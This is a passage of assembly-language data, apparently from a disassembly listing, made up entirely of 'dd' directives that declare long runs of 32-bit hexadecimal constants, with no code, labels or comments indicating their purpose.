		dd 0BE17AC0Fh, 0BC306FB2h, 0EEC559AFh, 7C1300B6h, 0D2ADB996h
		dd 0B8AEDB1Ah, 7BAB9B10h, 58F01271h, 1F0CC8D0h,	7EE5DD02h
		dd 0C03FA604h, 490AD9Dh, 0F652A959h, 93E0A421h,	0AA3DFDF8h
		dd 8C37808Ah, 38E05E2Ah, 21FC0933h, 0E8186851h,	48BC8509h
		dd 3980D19Ch, 83912069h, 44B0AC9Ch, 0F24A8054h,	5CD3102Ch
		dd 54B1309Ah, 5E62D421h, 3A276E16h, 0AE1C2401h,	0C0253E49h
		dd 681D3430h, 6EE481CFh, 9B99C7C0h, 0C100D777h,	55575E0h
		dd 16FB83Fh, 3DEBFF1Fh,	6983ADD4h, 64518B7Ch, 0E45B005Ch
		dd 0C44F5307h, 3F000AD7h, 24F2A7F6h, 0E6F9F013h, 5CA2E0C8h
		dd 9FC0E4B4h, 1CF6EB04h, 0C935B2Ch, 46177F40h, 6E12DFAh
		dd 1824FC38h, 8840C44Eh, 0ECFDCC3h, 7BB1004Dh, 3C24F1F0h
		dd 685B72D5h, 0F4187063h, 0A3C680E4h, 4F74F920h, 66C820h
		dd 0F1B16923h, 187FFE40h, 0CCF4A92Eh, 0FD997060h, 0DB2C2C21h
		dd 84AE9150h, 30137BAAh, 5846DDB4h, 9B5AD00h, 7EC168E5h
		dd 0F96E04C5h, 0C1FC821Ah, 32449894h, 0F4AE170Ch, 10546C3Ch
		dd 1F111A01h, 8291644Dh, 48191927h, 3DCAC9A7h, 0A88E29D8h
		dd 81A8DF00h, 456F0D0h,	0FA0160BBh, 2D0CDD14h, 48019F34h
		dd 18B6ECA1h, 0C3A8989h, 0C60B5C20h, 211C09D1h,	58D88962h
		dd 31AD671h, 9C8647CAh,	5BE0032Fh, 7A1D9432h, 0CF00A779h
		dd 0E68236A2h, 2AB2EF9h, 0B1CC5058h, 79789001h,	741C8985h
		dd 872F9C26h, 71B492h, 0B9E01884h, 0E11F94CAh, 92C90093h
		dd 0FBD20B7Ah, 5B4BD02h, 404E601Fh, 0C063218Ch,	8FA0C5B9h
		dd 0D51F67A5h, 708B045Bh, 4534103Ah, 27D400D3h,	0EE7F5DA6h
		dd 0BE17B06Eh, 38082B8Ch, 49AAF0Ah, 0C409D453h,	50EC40D1h
		dd 70BE00ABh, 0A783BDA5h, 0E112A120h, 189093B4h, 0F2AA0Bh
		dd 9AFEA9DFh, 430ABA4h,	70533805h, 88376934h, 0B4F39304h
		dd 7199DD09h, 75482046h, 0CA6E10FCh, 80129825h,	0F2FD6EC0h
		dd 90C64600h, 28C39309h, 2B7B000Fh, 63E4A9D8h, 1195B2D2h
		dd 9808669Ch, 3AC49496h, 420CB4h, 37783493h, 0FB10A42Ah
		dd 56009AE8h, 0BD60CF33h, 2547DCD2h, 5090824Fh,	6AF41430h
		dd 9315CC00h, 2B5FA4E4h, 0F7CB0069h, 9F4CE52Ch,	0F75618Eh
		dd 0B2F66F71h, 0D48C75E1h, 75024A9Ah, 90E6CBA6h, 65CDB68h
		dd 0C1CF0F86h, 208A484Ah, 40B70A1Ch, 0FD8F3598h, 250FA585h
		dd 271FCB03h, 0F590AA87h, 1E4D720Ah, 0FFB6A1h, 5AF36C0h
		dd 5C93AED1h, 57932505h, 629EB030h, 47F00743h, 0C06B5012h
		dd 42B17A9Ah, 9902BE00h, 1E83E6C1h, 605C91E5h, 9E5E97CAh
		dd 444BEA00h, 0C539E199h, 19D600D4h, 93494651h,	8300FCD3h
		dd 0B3C0796Fh, 17AEDC2Bh, 74DB47C2h, 0CC0A09Ch,	0CCBEE738h
		dd 827309F8h, 8F43223h,	51CEF4FFh, 849C017h, 8A80366Ch
		dd 463725D9h, 76971E7h,	0D43FE6C4h, 0FEBCC02Ch,	0BB162616h
		dd 0EC21C5F8h, 8850603Ah, 3D4B4C34h, 0BB80AADFh, 46497E4h
		dd 2D26E59Ah, 0C51204ADh, 0A6B8A4h, 0E44B35AAh,	8B7C3D95h
		dd 0D74100Eh, 0E1A8A540h, 0FE8E098h, 5077BEADh,	645A3B09h
		dd 7634F400h, 0E44BF61h, 0E86801B2h, 0BC9DD6B1h, 1069C5h
		dd 8CBA9B41h, 3B21BBB3h, 0D459C366h, 14103B89h,	0C707931Ah
		dd 0DDF4A649h, 0A30D8AF1h, 5A4DA340h, 96D20935h, 0C8303999h
		dd 722E6219h, 2008FC43h, 896D0EB9h, 0A5C700B1h,	4C28BEAEh
		dd 1C550180h, 0B9573854h, 21F8E05Ah, 967DFF04h,	0B898A441h
		dd 1C3A227Bh, 734F5000h, 0A95149F1h, 0F2E20074h, 2E61BD1Ah
		dd 6E0ADEECh, 0AC19655Fh, 7F77BB81h, 8C613AE0h,	7580E839h
		dd 310E2A40h, 1AFFAD27h, 0A8C6E0h, 0CBDEA338h, 0B5B031DBh
		dd 0FCC8A74Ah, 1B8C9268h, 31344339h, 3CEC08Ch, 8008240h
		dd 0D02AF3D2h, 1CA4A73h, 9AA65F6Ch, 401BA58Dh, 9936CC98h
		dd 1F415Ah, 0DBC1A026h,	7EDB6758h, 0C9D95159h, 17C4460h
		dd 705DB546h, 384D4FB3h, 218D050h, 0DB9885FCh, 4BB0ECBFh
		dd 0B15C82ACh, 11C1F406h, 791A6C64h, 0F0359C4Eh, 62CFF862h
		dd 41101AE8h, 98D049F0h, 549F00C8h, 0AD0A0BE2h,	33041590h
		dd 74264F07h, 0AC00E0DAh, 0FFA2C8BEh, 0D8F21D19h, 47381492h
		dd 2265AFECh, 5B094B60h, 53FE8150h, 0C0B7E0BAh,	930E0C9Dh
		dd 61182D3Ch, 19DDEF95h, 0F6B0243Ch, 7A023BCAh,	0C4D63E26h
		dd 0A47904E5h, 1E0957A8h, 318223B4h, 98C8A640h,	12AC990Bh
		dd 98CA60h, 185C06E5h, 9CDDC9h,	137029A7h, 4768910Eh, 71A6D300h
		dd 0D1544E69h, 9DDA096Ch, 0A0E6AB6Eh, 0A8944290h, 8F1E8D82h
		dd 2A8890BCh, 0AC102473h, 6401CB54h, 728994E8h,	644C0178h
		dd 0B84F9B20h, 68AC9DCh, 95E58082h, 0B880E1ABh,	9E04A752h
		dd 0CBAED06Ah, 5E1E48E6h, 9CD5D41Eh, 5802C88h, 0B85712C4h
		dd 0E77700D2h, 0DDF52BABh, 6CB0A83Dh, 0AF5A1B0Fh, 9185E967h
		dd 0C798E80h, 0BD372801h, 0F09A0682h, 0DD1753CAh, 0F7020A5Bh
		dd 52439FE9h, 0BEF10F4Ch, 1F26C59h, 13F508E8h, 0A03BD421h
		dd 0CAC52896h, 8C5940F2h, 8FCA2D2h, 241EF0F8h, 1F211CCh
		dd 34FE2BBCh, 2FC4DF19h, 0DCFF09D3h, 7040D770h,	0C689FDA8h
		dd 8200482Dh, 0C1ACD013h, 0F079A11h, 73A39DFEh,	44DC8562h
		dd 0CA494AA4h
		dd 0C730078h, 40905867h, 0EFB09Fh, 6F71D59Eh, 606A5949h
		dd 3AF5B213h, 430EBCD0h, 0F8FE029Ch, 0A16944Ah,	56BBC60h
		dd 5F3C8902h, 6C26DEBBh, 478A4A14h, 707885F0h, 0EE360C2h
		dd 4B2B3F00h, 7D7CEC1h,	8F310197h, 202126BBh, 99683CB7h
		dd 0B6F0B84Ch, 2B1C00E5h, 0FA4009C0h, 4B1F78EEh, 0E085A9BCh
		dd 0C06271FBh, 0E08F293h, 0BAF297D1h, 7CA55E4Fh, 7AEC8CD0h
		dd 6200B5B8h, 11A59A63h, 0E44A409Fh, 0FBDA27D4h, 684AB84Ch
		dd 6F7A70D0h, 6B2600AEh, 4CEA67B3h, 0DB008076h,	2304E459h
		dd 2FD021FEh, 0A400AC18h, 8995C76Ch, 0F866BA44h, 49000E1h
		dd 9B4F2E85h, 1600DAADh, 0FF2832F2h, 2FECE2h, 37839653h
		dd 0B05A49AEh, 93C1894h, 94DB1AD6h, 0B885247Ch,	40B9446Ch
		dd 0A5963CDAh, 0E0860072h, 0CDC6F0F1h, 0C5008F21h, 0E8E4AF50h
		dd 0B16A6427h, 0B94A448h, 0D0004045h, 80A9D77Ch, 3896FF71h
		dd 2559050h, 29B18B52h,	3C564F53h, 0B96B9263h, 298A54h
		dd 0FCD99EC9h, 0C0EB6CACh, 2AF200h, 5B1A9D23h, 651CC519h
		dd 5AFAD900h, 6D4C8356h, 0EF10007Bh, 7690AEF3h,	28CF5E9Ah
		dd 0E6B3602Fh, 0C00C8647h, 0ADE05710h, 0D90ED8BAh, 0E4059011h
		dd 0FBC17837h, 61BD1E9Ah, 52CFDE00h, 0EA49CB71h, 0F0B53D00h
		dd 79D9058Eh, 18C473EDh, 311F9FE6h, 0A900E458h,	8A123B17h
		dd 38D5B8h, 0B4876F59h,	0E1D0ED9Bh, 60F2706h, 8840E0h
		dd 80E2895Eh, 7620D58h,	18423600h, 8EFC8602h, 0E1F60771h
		dd 0F01A68C6h, 0C489C729h, 0F000B1FAh, 5E437B3Fh, 0C016A09Ch
		dd 3D837881h, 0DB010EB6h, 0C4BEC032h, 0D8D37496h, 0F272884h
		dd 9AC5E4DDh, 0C246F8E0h, 570E8F6Fh, 0C36622Ch,	2B08E5h
		dd 92A0C767h, 0BDE71D5Dh, 81CE0B3Eh, 485BCC60h,	0D9E01B2Bh
		dd 1D38CB2Ch, 0DF2102DFh, 0D0E3C010h, 99F600CCh, 0CA8ECD54h
		dd 6A034CD9h, 9F5B76B1h, 2C600074h, 0FEADF342h,	0AC0FDCB0h
		dd 83CFB329h, 387F0E69h, 0E23F6648h, 628C2483h,	39005C45h
		dd 50DF644h, 2173E92h, 99868358h, 0E97EC4D0h, 4031980Eh
		dd 0FDBAF402h, 53833873h, 43D9E430h, 3000D884h,	15AB7767h
		dd 196CCFBh, 126DC3B3h,	415E995Bh, 50606850h, 8B07EF8Ch
		dd 5082E009h, 1342007Eh, 156A431Bh, 848A498Eh, 0B30A6900h
		dd 6094366Ch, 0D3006EFEh, 7C8CB6Ah, 3066A83Eh, 5950370Fh
		dd 0C7004387h, 0B1FD9493h, 0AFFAB2h, 70810BDBh,	247A8232h
		dd 0D3713105h, 801D7D72h, 5D403Ch, 2488DA6Ah, 0E52609FBh
		dd 3F004E7Bh, 8DCB8CA7h, 1E55B132h, 403B3Ah, 0D9D0398Eh
		dd 3F035B9Ah, 0AD6FC50Fh, 30D9062Eh, 580DE11Bh,	0C606D6F0h
		dd 31B07210h, 24C80721h, 0B5DA80B1h, 8C8C005Fh,	0FDD54DE1h
		dd 99D3C900h, 7EC8545Bh, 0BAE90A8Eh, 20B87401h,	47A614B0h
		dd 3102AC0Bh, 2FF0995Eh, 0A58C4902h, 0F805F98h,	0C5B6BBh
		dd 0A1B3574h, 80DE8F61h, 233A3F09h, 272C18A1h, 0A0A468h
		dd 526DDE4Fh, 7432A73Dh, 7B808800h, 5CA43807h, 10D715Dh
		dd 0AA61E92Fh, 715B732Ch, 42A0101Ah, 1C006E8Eh,	8A3D8599h
		dd 9021785Fh, 494870F8h, 660014C2h, 6CE53E28h, 4491B319h
		dd 0C161F581h, 48D2AD5Ch, 0B45A14h, 4D8F9E2h, 86498C62h
		dd 0ACAAE1C0h, 5E7E14h,	664DF15Ch, 0CED47445h, 6F2A85B8h
		dd 3650BCB0h, 394941D4h, 670B83A4h, 5B210043h, 0B485B7CEh
		dd 0E9008613h, 5E4E532h, 4BD8C2Dh, 4258937Fh, 0F4188C3Ah
		dd 10BAEF06h, 54D85EEEh, 0C0A8E01Dh, 96603ABAh,	0CAE63427h
		dd 0C857491Eh, 40351D4Fh, 1B2DC15Fh, 0A14761F3h, 50EFC68Bh
		dd 0C8418C8Ch, 0D955E218h, 4913FEF1h, 0F683A4CDh, 3CC214CBh
		dd 6B2087h, 0A5CEC0F3h,	0EA28200h, 0F97940FBh, 28DA38DBh
		dd 0E0A11F30h, 0DF0081A6h, 0A2C92ED6h, 5F74F6Ch, 0FB9824CCh
		dd 2C63805Ch, 7355435Bh, 76C04CE8h, 0D3ABAE00h,	2665B9F1h
		dd 28614C1h, 0CBC084F0h, 0C48A41DEh, 1BD1BB65h,	78A9A3C6h
		dd 735C13D1h, 0CB8820ADh, 69C06846h, 42035866h,	0E8A5398Ch
		dd 0E88E6F9Fh, 45DD0014h, 7D176C79h, 660CCCF9h,	0B0B023CEh
		dd 0C7E433D1h, 67E007E1h, 0C9F4699Dh, 0C39EBD00h, 0DEAFE1CAh
		dd 1343AABh, 82B07Bh, 7B261DC4h, 414F70DFh, 6D5CF02h, 0C02F3829h
		dd 772D59ABh, 0A77FEEh,	88F7C1B2h, 2CF4262h, 3168B033h
		dd 0A3B8FB98h, 0BA75E0EBh, 615970BCh, 8F9D1007h, 845EC418h
		dd 49740900h, 0C724A25Dh, 52B800ABh, 0F2409E35h, 934CA795h
		dd 674960AEh, 62B12D84h, 0AE781811h, 0F461E021h, 0B6B7880h
		dd 6C912495h, 7D25A600h, 0E7A5734Dh, 14BB3C04h,	4FAF9681h
		dd 0D4177FCFh, 0C7060AB9h, 0C8C135DDh, 0A6EB00B8h, 386DA74Fh
		dd 86FCE60Eh, 1B846901h, 0E3A46BE4h, 0C340160h,	3AE7F247h
		dd 0B500D580h, 452A992Fh, 0F8592758h, 1EF0AAAh,	8088EDB9h
		dd 63517DE6h, 0C701CCADh, 1F3EE807h, 0CE39CAFh,	0A8FDC220h
		dd 66005180h, 855268ABh, 1C7370B3h, 0C9314035h,	6F85B145h
		dd 4C35829Bh, 2CE0A890h, 43B689C5h, 0B79477C0h,	565C7252h
		dd 360CA881h, 0AFE9F86Ah, 0B6001178h, 27D16625h, 0A5803Eh
		dd 6A990262h, 0C0D5C6B9h, 310BE0B7h, 3980EDC2h,	215B107h
		dd 0F1F5D94h, 0FD2060h,	0A0E31DD7h, 9F2E609h, 0DEC019B8h
		dd 40FC0C01h, 4AA19805h, 78ACBAF8h, 2A900019h, 0B00AC741h
		dd 68C1EA55h, 30E7AF64h, 0C076319Ch, 0C248FCDh,	36F0EF55h
		dd 3E11FC03h, 0E060AE0Ah, 3EAD994Eh, 19020B4Fh,	0D1B1B5F4h
		dd 6835CAFh, 0C2D02497h, 8201BA67h, 6FB12BAEh, 20800389h
		dd 0A23A24Fh, 0A00058CCh, 52619027h, 15780Eh, 5179EEA4h
		dd 0CAE83228h, 3817A601h, 0AE0C3C70h, 50FC5C4Ch, 0B0037424h
		dd 540B24F8h, 0AD010533h, 28F44099h, 67C865F7h,	0F4074E02h
		dd 45623925h, 2E112Ch, 56E6B854h, 54BA08D8h, 62BF5C2Ah
		dd 4C93B0CFh, 23E8444h,	0C369E2B9h, 752848F7h, 0A7BD0076h
		dd 0EE9342Dh, 0C0A117AEh, 56FC11FBh, 1858D04Dh,	505348C1h
		dd 0B6B88680h, 0D43C5F93h, 0ABEC0EC5h, 7FD620CEh, 0C091E61h
		dd 984C7B05h, 21005A31h, 13195B46h, 2A8DC2Bh, 0DEE016D3h
		dd 78B1D04Eh, 0DCCD1138h, 90A59EC8h, 0EDAF004Bh, 21A132DEh
		dd 30152EEh, 48F2968Ah,	4C409D4Ch, 1153557h, 4A10497Dh
		dd 0F04F1B02h, 2C50F8DBh, 220C3E6Ch, 70BC1E53h,	0ED872001h
		dd 34BF0600h, 0C054DD51h, 0A7524C7h, 2FE90224h,	0ACA0ABD7h
		dd 23176E03h, 6C2D0800h, 0DA3C634h, 38D41D57h, 0B105CA39h
		dd 0F6C242BCh, 9EE22820h, 0B9F0A42h, 8B46B23h, 5314F49Ch
		dd 0DCA58094h, 1C5FB12h, 0F82B44F9h, 2013C782h,	502F412h
		dd 631E9326h, 398C4142h, 43A33810h, 0A700AEFAh,	0DFB5941Ah
		dd 12222D56h, 674E3BD6h, 71892C0h, 74505B07h, 447AF7h
		dd 0F69286D5h, 0D4E76494h, 0D1A3E401h, 1E789AFBh, 20E03193h
		dd 25665B70h, 0A644BA00h, 8F50416Ch, 34E5304Fh,	74664321h
		dd 60E4B400h, 28EC1F23h, 0EA6D01BDh, 0EF53B85Eh, 5102CD2Ch
		dd 0F87448C0h, 5714FDD7h, 22E81A7Ah, 0C59C006Fh, 8A55B5EAh
		dd 0AC02DD04h, 0A4D1B6Ch, 7FD49835h, 0B4F454C5h, 8D20070h
		dd 38245C5Fh, 9714B643h, 2298827Eh, 4815002Ch, 3879FD3Dh
		dd 903BA027h, 0A51C129Bh, 0B0A34462h, 0B8D5C79Ch, 69F5602Fh
		dd 8496458h, 0B1460B09h, 0E6C4A04Eh, 0A4634AFFh, 0A89944ECh
		dd 5D074B01h
		dd 0D0D6E846h, 0CEF0B421h, 90F26EBh, 0A82E621Ch, 8C9314C1h
		dd 71F8C239h, 0ED1B07BBh, 0F0FA4B6Fh, 0B9EF0BC3h, 0AC7C30F7h
		dd 0D4C5F105h, 6048E83Ch, 1D6C2D0h, 52B5E4A0h, 68E89875h
		dd 0CCFC8204h, 20C3B832h, 0AA79D904h, 6DD17510h, 0C5B9D400h
		dd 8DD84F9Bh, 47AE0C7Ah, 0C2F132B1h, 4FB59h, 0E61FC91Ch
		dd 0BCB44C4h, 8A25070Dh, 3EC3E030h, 2AF68498h, 0DFC1F13h
		dd 93A66C20h, 5C9950h, 0CC0B0F19h, 9D507017h, 955553F0h
		dd 0D3D7D888h, 40E5F400h, 56ECD9CBh, 8EE7016Ah,	1B971221h
		dd 0C8C3601h, 59AD7898h, 4C0498BDh, 4A34F8CAh, 2F14C2C1h
		dd 6B0B0C66h, 0B8A49513h, 3433C3Ch, 0D520BF19h,	76EFC6AFh
		dd 0A830F9CFh, 914AD46Ah, 799318A4h, 0AC0271C7h, 52BC2C99h
		dd 3E472268h, 6B004C95h, 3BC9E5DEh, 1B1F27AEh, 9C40A076h
		dd 0BF0F79F8h, 78B14CE4h, 0B136E7C6h, 81913500h, 253F4B66h
		dd 2B4C0079h, 36CC2CBDh, 0E090AE2Ah, 48807D53h,	97F310F4h
		dd 198ED618h, 0E800750Ah, 3554DA11h, 0AC6B22CAh, 53C61880h
		dd 7233B19Bh, 65AC4C00h, 75AB8C42h, 0B1A61EA4h,	0B8BD9434h
		dd 28B75317h, 3A0740C4h, 55F3DC82h, 0F1B83970h,	0BBAE1DF0h
		dd 3760F29h, 0C7AC5080h, 0B426CA3Fh, 6AC07406h,	4C9D309h
		dd 0FC14C581h, 359CC80Eh, 8994EE5Ch, 0E9D090D6h, 0D83D01BDh
		dd 3A3B90E6h, 11407780h, 0F4583456h, 0C741F637h, 5190C47h
		dd 0A85ADB2Eh, 90A18243h, 3C253EBBh, 0BE05B74Ch, 61A231Dh
		dd 598C02A8h, 68284924h, 48207964h, 7EF410F1h, 0B4D0CFh
		dd 28F4F5C6h, 7B931B71h, 0C5C029C8h, 5B2CE56Bh,	0F5012843h
		dd 0D831B2A3h, 9C428859h, 9C072505h, 0BB00BA84h, 13FBF4Eh
		dd 18ABB2D1h, 0A8153EE3h, 0B0B99697h, 0ADD6066Eh, 8D493A81h
		dd 7CAEAC38h, 0C5650082h, 53E3CA0Dh, 6E49h, 0F2364F2Fh
		dd 28D1F993h, 12E0DCADh, 62CD126Ch, 0E5209B70h,	0E05C2FDFh
		dd 8525009Ah, 0F4059538h, 0D9485F30h, 0A062A26Ch, 0B7C30FECh
		dd 7E0900E0h, 823E0233h, 0B201A184h, 0A8450E30h, 702028D2h
		dd 0BE4494CCh, 7DEE1CF6h, 1412C75Bh, 2471C080h,	0FB0A4D35h
		dd 84BC5AB7h, 0CB381B11h, 0D78008D8h, 91F6AFD9h, 6836BA09h
		dd 8980316Ah, 3BC343C0h, 0C9250DAFh, 0A8F58430h, 25279B83h
		dd 2818BFBEh, 0B0A47498h, 2440BC4Ch, 6240545Ah,	795B5966h
		dd 47D20B53h, 8C04C5DAh, 3FE7467Eh, 457700A1h, 0DC17895Ah
		dd 540939D2h, 30123CC4h, 2501AC2Ch, 0B8A57B84h,	33C4176h
		dd 0FCA45743h, 0B952D6C0h, 1BE100F8h, 0E43D7334h, 900D00A0h
		dd 9959BCE3h, 69134284h, 5C72D2DBh, 6AE8209Ah, 0FB00348Fh
		dd 4C3E2620h, 3DE0D99Eh, 0F51288CDh, 6370CDE3h,	11410070h
		dd 498A9ECAh, 51E8006Fh, 4778FE17h, 0D4BA1042h,	32C5542h
		dd 77C36380h, 0D3EAE180h, 0EFA3E0Ah, 0E308E8CFh, 80642997h
		dd 12B5B4EEh, 59E48ABEh, 2101B091h, 76D91EE9h, 39BC9C58h
		dd 4902D3A3h, 7B9AEEBAh, 0BC27D111h, 3114721h, 3EDC84C0h
		dd 7E1CC2B4h, 0EA9501AFh, 4CC32EC4h, 0B1A7B947h, 0DC65E240h
		dd 0B0AE5C0Dh, 4FC1CC12h, 0E1000960h, 7BE94F02h, 0A4F50E00h
		dd 860FA2FAh, 40297E68h, 0F1D0AFA3h, 72C0DCE4h,	938431F9h
		dd 0AF81006Bh, 70389F25h, 990BC716h, 0B0D24928h, 45C56D98h
		dd 5580FCF8h, 4845250Eh, 8FB080DBh, 14DE5ECEh, 0AC0B3E3Dh
		dd 0C421CBC0h, 0F312E602h, 0ACCCAF5Dh, 28FE50C2h, 0CB8E008Ah
		dd 0E2DEFCB7h, 32011D55h, 0CB6755Dh, 0C237A83h,	1F00044Bh
		dd 505C8CB2h, 0B39158B3h, 0ADC1785Ch, 0D0FE8121h, 55485865h
		dd 19FD05B2h, 743114EAh, 60297293h, 60907527h, 200E8D1h
		dd 5BC3E39Eh, 58AF2DAEh, 0F502B860h, 0CE163615h, 0C0C6CCA4h
		dd 2D54B5ACh, 5C6AEA09h, 0C60C3074h, 0BFB4BBB4h, 9000F4C4h
		dd 5991FACAh, 5C6EEDh, 1528FB3Eh, 0DE7F0AF5h, 0BCB3612Eh
		dd 78904D12h, 8F6DB4h, 12E3EC9Fh, 89A8E8B8h, 53223D09h
		dd 0AD586866h, 0B31C064h, 0A7502D55h, 5827C275h, 8443003h
		dd 0FB601DC7h, 443490Dh, 6026104Dh, 0D28C87C9h,	0D1AF1248h
		dd 143055A0h, 0E20004B2h, 0FADAF1F2h, 920128E9h, 0AD43BFF9h
		dd 38638719h, 65220880h, 0D72A5679h, 0A7007C32h, 6B2E20BDh
		dd 0F6DFC75Ch, 85182584h, 0DE48C818h, 265D6A03h, 3BC2C5DDh
		dd 8F80C9A1h, 0D10EA708h, 6A1DFCE7h, 0D6801594h, 3989B95Fh
		dd 61134ED7h, 267598F4h, 22CC48F4h, 649902C7h, 5F35958Eh
		dd 0CA7ABC84h, 0CD0900C8h, 0ADD20FC0h, 0F0E00737h, 48FB0D29h
		dd 223648C1h, 778A448h,	0F7B784BCh, 806BF473h, 0C1A26F38h
		dd 18375812h, 0A4D6A021h, 526E8980h, 8C860328h,	8DF4D401h
		dd 0AF71E3CDh, 0F722BC26h, 5202ED79h, 8EC35FEh,	56FCE699h
		dd 0CB12F410h, 220800D5h, 2427F554h, 0A370C00h,	35405176h
		dd 0FFCA73E8h, 0FC176C62h, 3D383082h, 0EAE4D1D3h, 0E620FF61h
		dd 0F21F59h, 5A206A12h,	0DD48D700h, 78EFFAFDh, 0EC8A0663h
		dd 2805CF45h, 5658A398h, 3DD42250h, 0D905A475h,	0CCE9A6A8h
		dd 690195E4h, 54CCE340h, 3770870Ch, 0E637EE0Dh,	0C7C32E78h
		dd 0CC4E16B4h, 4A718B08h, 84F484Fh, 0F3E606Ch, 3E6B8DAEh
		dd 69807336h, 4F2D3CFCh, 531225A4h, 0AC4B3B95h,	27D04CAFh
		dd 0F4817E9Dh, 928C7A93h, 8420E069h, 0FF6AABAh,	4F9BF3A0h
		dd 428193BCh, 8C4C9AECh, 0D680A459h, 799BC165h,	4A40A08h
		dd 60A4BCD3h, 66AE56B3h, 3630F463h, 1C95F425h, 57F0F000h
		dd 4CCD4D52h, 9C7FCEAh,	0BF31108Bh, 0EC00C530h,	0FFC4709Fh
		dd 5FA68FEh, 95FDF30Ch,	39832CDh, 45004879h, 0C5B4FB08h
		dd 46E12464h, 95C10900h, 23359C82h, 0AF0E0044h,	0A387410h
		dd 299C986Dh, 61872A22h, 4E9825B4h, 0DF00FC14h,	57AC43ABh
		dd 0B4CD3Fh, 95912D3Ah,	4167B87Dh, 0D9030404h, 28C84C68h
		dd 8BB900A0h, 29A89261h, 9D094ADFh, 0C81C366Eh,	4C0DFC34h
		dd 6A8E5432h, 0AE571291h, 0AA028CC3h, 744C859Ah, 6C0DC2Ch
		dd 0BBD6B641h, 0B621062h, 72B101E8h, 2F2D00D8h,	8152FD2Ch
		dd 7B04C669h, 4A5355Dh,	0C906A883h, 0E907B316h,	1B212C82h
		dd 259420Fh, 78A10007h,	0F7003F56h, 0D46E3D4Eh,	0BEF9783h
		dd 0C1D8BD49h, 79278380h, 945257E1h, 3E0EC0BCh,	4E40D98h
		dd 0E56A17ABh, 38001630h, 8E872A80h, 2E810037h,	9AB47C4Dh
		dd 0AE050773h, 0E314C147h, 0B000D4B6h, 27335F4Dh, 0D6ECD7CEh
		dd 40CBA500h, 9BF92886h, 53B315C2h, 81008096h, 0D9509A35h
		dd 0A424197Ah, 1C942086h, 98A78044h, 0B9ABF879h, 0FC49E28h
		dd 37C0237Dh, 95FE7653h, 81E3A438h, 5077340Dh, 70783312h
		dd 701A1E80h, 4B0FFF5Bh, 4019B7C3h, 2C17DF44h, 0A1F8A33Dh
		dd 53017574h, 7DCD1041h, 152B0011h, 8DB3DD3Dh, 0C91ED51h
		dd 0D2C58B04h, 92AA7440h, 0D0F37721h, 460480B5h, 0D3116B26h
		dd 974E2843h, 7C0F93Ah,	0C4256AA9h, 0EC193542h,	7A3F0E04h
		dd 17C04F0Fh, 34A31E1Bh, 50DB8009h, 0E98CE03Bh,	30B906D0h
		dd 61C65398h, 0ACB30208h, 0AE0B02C8h, 6484FED8h, 42DFA822h
		dd 78E84C8Ch, 106A5600h, 89C9D158h, 0F574004Eh,	53ACDF84h
		dd 8B0FE54Fh, 4E765960h, 0E9CB00BDh, 14119BAh, 8CA37FDDh
		dd 70356B66h, 0E01759E5h, 18618501h, 5830EF2Bh,	93F800EDh
		dd 9186AAFh, 0F600EA0Dh, 5A2FB73Fh, 982915BBh, 141A00CCh
		dd 8BAAEBDBh, 0C006967h
		dd 0FC57339Dh, 0F4B3788h, 99CCEF4Dh, 201F4AA0h,	0B33201A8h
		dd 6061E17Fh, 486A3678h, 1180E0D0h, 38CC0A4Dh, 1B6DB800h
		dd 80A9D18Ch, 2F69011Eh, 0AA709509h, 0D43ED0DBh, 0AF135200h
		dd 0CBAB33F2h, 0EFF407C6h, 704FA559h, 77E6E3E8h, 8989043Fh
		dd 48C23C48h, 0F85CDB8h, 0DE42F15Bh, 255D6DC0h,	8100953Eh
		dd 0EF8682ACh, 720C679h, 6B96CBB9h, 0DD4520C4h,	3D00C1FEh
		dd 8BBF5170h, 1205FF75h, 5931B84h, 0C04E7D6Ah, 0C6C8A227h
		dd 0AFE90B09h, 797890E7h, 0D7A901DCh, 5FC9EE5Ch, 0DDB3D8C3h
		dd 255B1600h, 0CF8F31A3h, 1D981F5Ah, 0E6B1408Bh, 9E8502D3h
		dd 78085899h, 0B610BEC8h, 0B1450EAh, 4064D612h,	0C15BC07h
		dd 34D00374h, 0E4B11D2Ch, 6CC91F3Fh, 0FA2840F3h, 0F7EDF93Ch
		dd 0A4840E00h, 0B005CC19h, 0C251C566h, 6F9440FCh, 691897A3h
		dd 2BD48400h, 129FE3BDh, 0CC614CC5h, 0A48F60C0h, 21000B68h
		dd 71F1A0F3h, 62304F4Eh, 59BF48ACh, 0B44986E2h,	0CDDB1034h
		dd 0B0A2018Ch, 0E711F6E2h, 698EEC25h, 0FD7B4700h, 0CD7724C3h
		dd 0DC2D2484h, 0E54E8D10h, 9EADE049h, 954F031h,	198335E7h
		dd 9918EEB5h, 72069898h, 61A75A01h, 0A5F3A953h,	82D7EC40h
		dd 858A03C7h, 832B24Bh,	0CA52FF2h, 0E7A48C0Ah, 0A93B9E00h
		dd 461AC8AAh, 0DECA00E5h, 0BC73603Ch, 20000851h, 0A48AECDh
		dd 4CE413A1h, 0B757C6Dh, 0D30137A4h, 0F7005066h, 5C14A6EDh
		dd 0E46F25FDh, 0B1AF0310h, 2CD1341Fh, 0F9E147A8h, 54C21940h
		dd 1D17C4FFh, 409ADB28h, 87329C1Bh, 0D70580E1h,	0C5E530E2h
		dd 120C88h, 0FD21BAD1h,	4E0B2C2Eh, 0B4F1A301h, 62A402E4h
		dd 884AB473h, 87909004h, 62B9BA09h, 1C588103h, 30AC75C6h
		dd 7630305Eh, 0D5C9302h, 0A6F50438h, 0AB484FB1h, 0A060D58Eh
		dd 0CB6D2499h, 7512CADh, 45C76484h, 3C98031Fh, 897E0018h
		dd 6D1AB29Dh, 2D00B839h, 9BEEC8E6h, 3A96FAh, 1125A263h
		dd 0EB1C5E46h, 0E68B8C17h, 0B0608025h, 53FB6Bh,	0C9FE504Ah
		dd 2B79F36Ah, 32B73801h, 0FDA5BBEEh, 8DF2A03Fh,	47D1B107h
		dd 0EC80A686h, 2EE0C899h, 881C03CBh, 0D68CFB25h, 6DE1C0h
		dd 7FC7B32Ah, 0DCFB4CD7h, 5116B9EEh, 2C223311h,	938A18D1h
		dd 0C2D26281h, 46F84696h, 0B0B426B8h, 50CB0Fh, 0A47D7C12h
		dd 0D007005Dh, 2E8AE5A7h, 0B700AA55h, 0E6A37CEh, 0FB7CB0h
		dd 5CEEA0FAh, 799389D1h, 0DDE4D21Ch, 0E8E6918Bh, 4C2ACDC4h
		dd 9417052Bh, 0F12A0313h, 0F288DD22h, 93127A79h, 50041C26h
		dd 4600CF40h, 0A7BAD680h, 8BCD070Ah, 761868BEh,	0D37430h
